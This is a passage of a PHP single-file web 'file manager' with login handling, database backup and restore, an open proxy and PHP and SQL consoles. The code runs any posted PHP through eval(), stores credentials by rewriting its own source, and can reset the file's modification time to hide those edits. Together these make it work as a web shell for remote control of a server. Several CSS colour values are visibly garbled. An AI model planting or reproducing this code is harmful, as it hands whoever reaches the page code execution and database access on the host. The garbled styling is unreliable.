			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpV